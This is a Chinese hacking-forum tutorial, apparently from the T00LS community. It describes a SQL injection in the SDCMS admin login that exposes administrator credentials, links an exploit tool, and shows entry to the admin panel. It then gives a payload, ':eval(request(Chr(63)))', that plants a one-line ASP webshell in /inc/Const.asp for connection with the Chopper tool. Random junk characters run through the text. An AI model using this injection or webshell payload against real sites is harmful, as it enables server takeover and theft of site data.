作者:T00LS 鬼哥
* m3 @" ~# s& E9 ~1 u漏洞文件:后台目录/index.asp* w7 k S( |1 `1 Y! x R. X
# u: I) p; a8 ~9 I! D
Sub Check
$ n) w! w9 F) A5 u0 q Dim username,password,code,getcode,Rs) s: e: t, z8 V5 N0 @: C4 {( d
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub9 ^7 U7 {# W3 |6 X" A- C* N
username=FilterText(Trim(Request.Form("username")),1)8 b6 b, M+ i7 F/ m
password=FilterText(Trim(Request.Form("password")),1)
1 b5 b# m. ]9 Q% Y code=Trim(Request.Form("yzm"))
; ^. I# |( {2 r- H getcode=Session("SDCMSCode")
9 i' x! W9 m/ `+ M" h* B/ [ IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died) l7 X* E! M6 Y; V# {1 e6 F
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied; i& W; P) V ~2 f& Q
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
s7 a B6 Q6 W/ k; R IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied
3 G2 _* N f3 R( e' \+ p IF username="" or password="" Then$ V- |# f" L1 j
Echo "用户名或密码不能为空" ied2 A, @* n9 `/ M6 r) e( f3 |
Else C0 ?- p. p; Y* s; P( P$ b
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")& @+ s( U8 r, l0 N9 }
IF Rs.Eof Then7 c5 ]' W: ?, B
AddLog username,GetIp,"登录失败",1% ]9 a5 B' K$ n7 h) }
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"# F R D; p1 h) e/ _/ g2 [
Else
1 h5 _/ i/ z+ R Add_Cookies "sdcms_id",Rs(0), O8 Y t B* m/ ?9 P: r
Add_Cookies "sdcms_name",username- P8 i. }: ]' w# P/ i
Add_Cookies "sdcms_pwd",Rs(2)
|; C/ q. \; G1 A8 t. e, y Add_Cookies "sdcms_admin",Rs(3)3 y7 j6 K. s7 t$ K* f% H
Add_Cookies "sdcms_alllever",Rs(4)6 p0 S% i. W3 o) I7 j
Add_Cookies "sdcms_infolever",Rs(5)6 @3 R& ^4 P0 E# C( E* T# r+ J' ~
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&""); e$ k! k( C$ j4 l- N
AddLog username,GetIp,"登录成功",19 ]1 i { S- E
'自动删除30天前的Log记录
. I4 X& J+ F1 w, H& x IF Sdcms_DataType Then
; C/ b# P* l& ^+ ]4 w Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
6 Q/ v" Q: G; F& s: m3 V% I Else/ w! F |- n L8 t) k# n# c
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
' b/ O% h' t5 H6 `0 Y1 O$ u End IF d. X0 N; j4 J. @; n2 d* r3 C$ M
Go("sdcms_index.asp")
' q! t+ m* `3 O0 o/ U End IF0 }1 T% W' N1 N: t/ W% m/ ]
Rs.Close$ Z! Y& @! O" Y
Set Rs=Nothing
! G$ v! Q+ h: y" E End IF4 Y$ s4 K/ e/ ?" F* R% e) E
End Sub2 m' h8 q: M1 L8 M7 l- ]
* v( y% l, \8 T4 H3 r4 n" n; O
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码3 V2 i& X7 a% R( ~ |4 M# a
8 p$ A/ `3 | z2 q0 ^' j. dFunction FilterText(ByVal t0,ByVal t1)9 y- g S0 f4 [% S1 N
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
4 i1 B7 k# d6 G5 z( n1 B t0=Trim(t0)- h# g$ i% W' D4 y2 f
Select Case t1% b! ]4 E5 E% o3 X; F: e9 q
Case "1"$ H+ D5 S. o6 N, N
t0=Replace(t0,Chr(32),"")
% m/ `+ P% r, I; {) c* [ t0=Replace(t0,Chr(13),"")
% Q7 x/ R: k. i' f t0=Replace(t0,Chr(10)&Chr(10),"")
- b1 l! D: e& b4 h1 F( e1 ?% P+ `& K t0=Replace(t0,Chr(10),"")
@' ~. M4 _, n6 \ Case "2"
" h" a, ^0 i8 F+ Z t0=Replace(t0,Chr(8),"")'回格
& V. z" t* U! k, v" W: Q$ Q. r- j t0=Replace(t0,Chr(9),"")'tab(水平制表符)% y" m$ h0 z3 }, p
t0=Replace(t0,Chr(10),"")'换行6 i- E6 p1 F0 Z
t0=Replace(t0,Chr(11),"")'tab(垂直制表符): ^ M, Y' Q5 {
t0=Replace(t0,Chr(12),"")'换页" I) O6 I |/ Q" [/ ~
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
* R/ k: i7 a; l ? t0=Replace(t0,Chr(22),"")7 }; G& h' x0 C1 Q3 e7 n! f
t0=Replace(t0,Chr(32),"")'空格 SPACE* u6 f ^# d! H4 V
t0=Replace(t0,Chr(33),"")'!
. u/ z7 j* e) E# y) p t0=Replace(t0,Chr(34),"")'"
$ X. O. k4 b7 h' {& V% V0 k1 M t0=Replace(t0,Chr(35),"")'#( ]. w3 a \+ {
t0=Replace(t0,Chr(36),"")'$
/ J! Z# k2 u& W O0 P2 t' | t0=Replace(t0,Chr(37),"")'%
/ ], {! h7 H' v t0=Replace(t0,Chr(38),"")'&0 v* ?% U( D$ H O
t0=Replace(t0,Chr(39),"")''
. M3 [ A: C" h4 B5 y7 V1 J0 f t0=Replace(t0,Chr(40),"")'(
1 X( q [3 d$ q) Q5 n: r" x t0=Replace(t0,Chr(41),"")')
' \3 t0 i! z1 O# `. P t0=Replace(t0,Chr(42),"")'*, e6 Y/ `4 }+ W# X$ w' v+ A m; n
t0=Replace(t0,Chr(43),"")'+
8 i- @) k+ o4 f" |0 q/ D4 Y% M( X t0=Replace(t0,Chr(44),"")',
) r% v0 |+ ^2 k4 v8 D t0=Replace(t0,Chr(45),"")'-
/ l6 M: g# Y/ V+ r" S t0=Replace(t0,Chr(46),"")'.2 r. u5 M$ Q% f8 { h- z
t0=Replace(t0,Chr(47),"")'/6 K W _$ f- n
t0=Replace(t0,Chr(58),"")':
# S+ o" e& P6 ]' [- m5 \ t0=Replace(t0,Chr(59),"")';
8 G2 i& `. A7 O t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
2 T/ h3 o$ H$ G* g; U/ y t0=Replace(t0,Chr(63),"")'?
7 ^' Q' g2 M- t7 v! K t0=Replace(t0,Chr(64),"")'@
! m* F0 X" g1 u2 H& Q! o1 B$ x t0=Replace(t0,Chr(91),"")'\) j) |6 T. R# M) D0 w# i% }
t0=Replace(t0,Chr(92),"")'\4 j- n* {; p% n: g2 S
t0=Replace(t0,Chr(93),"")'], M/ j( B: ]+ `, j
t0=Replace(t0,Chr(94),"")'^ T% S$ a6 X# k* Q. p7 z. Y
t0=Replace(t0,Chr(95),"")'_
, `3 l* C2 c, X ? ]* t& } t0=Replace(t0,Chr(96),"")'`3 `/ R% o" p8 Z/ T O, Z L
t0=Replace(t0,Chr(123),"")'{
2 B1 W: r9 A- f8 c: U4 z9 R. u3 h1 g" o t0=Replace(t0,Chr(124),"")'|
7 ^8 S0 \8 r# h. B t0=Replace(t0,Chr(125),"")'}9 w- n5 X3 V/ q9 ^& r# ]& J; @
t0=Replace(t0,Chr(126),"")'~! u/ Q! E* [2 u6 Q8 _7 V
Case Else: [& C) v. {4 F
t0=Replace(t0, "&", "&")
8 L5 I" X* M* q$ u t0=Replace(t0, "'", "'")
. G. e9 q. D/ l: g5 B t0=Replace(t0, """", """)
8 C) _2 {% O( ?, @% O5 x t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
, R% ]: d0 T8 f End Select
' e( ^7 v3 Y) M6 N+ _! t( E% d IF Instr(Lcase(t0),"expression")>0 Then- t" F. R9 w8 Z+ E6 m0 W6 y
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)! S9 F% ? O1 D S7 E7 x
End If
9 W, d z- N5 s* p FilterText=t01 P% V0 a, g( Z
End Function q. s/ n- t/ i
) o, A6 C! Y8 p" j; H
看到没。直接参数是1 只过滤& a _" e) r: |# w$ L, c) ?# p. y
t0=Replace(t0,Chr(32)," ")
! p) Y& d+ E: }' ]0 j t0=Replace(t0,Chr(13),"") u/ P3 ^6 x9 H) Q% P
t0=Replace(t0,Chr(10)&Chr(10),"
/ b1 h1 I& B/ t7 e3 s& ^")0 h- |8 S9 o5 ~# |
t0=Replace(t0,Chr(10),"
4 b/ u1 l/ w+ N0 r0 m")
+ i+ E# j8 F, A h& ^- v5 [, c) ?; Y漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!1 }) }- T( Y4 p$ Z5 I, E: {, S) e
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
7 [2 h9 Q( R% d5 V6 g6 A% m6 H( U: K% r
测试:3 `8 z7 L4 p* J% s7 l9 t. x: A
( C0 [% \8 V3 q5 \4 L$ a/ \* D' k
现在输入工具上验证码,然后点OK' U- l# r" n+ j
& D k6 R* G7 g4 F' e8 p+ \4 u5 ~) s6 ^6 f# r7 t
看到我们直接进入后台管理界面了,呵呵!
- B% E6 b" u1 _- m% Y5 z7 U0 f: _# L$ C' T1 i5 V* @! ?9 ], p7 N1 O
9 V" R0 n0 c( B& `6 i* x. t2 e. k7 f8 R, |' E
这样直接进入后台了。。。。; v$ R8 ^/ w; l" C7 u5 U
: p& B$ |! H! j' c* _ : ^6 [+ A# M* B3 L9 S/ P
3 G% l: o6 t5 f7 }0 H7 A; rSDCMS提权:
' N S9 O* c9 \" n' s% p% O+ Q5 E5 b, K9 w ?# f
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
; _; H4 l* J0 O: a" `2 c- U' g
( K( Q5 E# a% R4 e5 e7 {
, m' G3 X0 g1 N, ^4 Z+ H$ E) ^9 N6 k$ h6 H4 [
OK,现在用菜刀连接下!
1 n! X, V! r. g/ M F8 ` L, L& A% [, D
) I& w4 l' K8 ~4 {3 u1 v8 g: R* M( Q/ x7 A& [0 L3 q4 [
8 j+ _7 _" i+ V: ?4 T6 b2 c& P. g1 S1 d) L5 t
|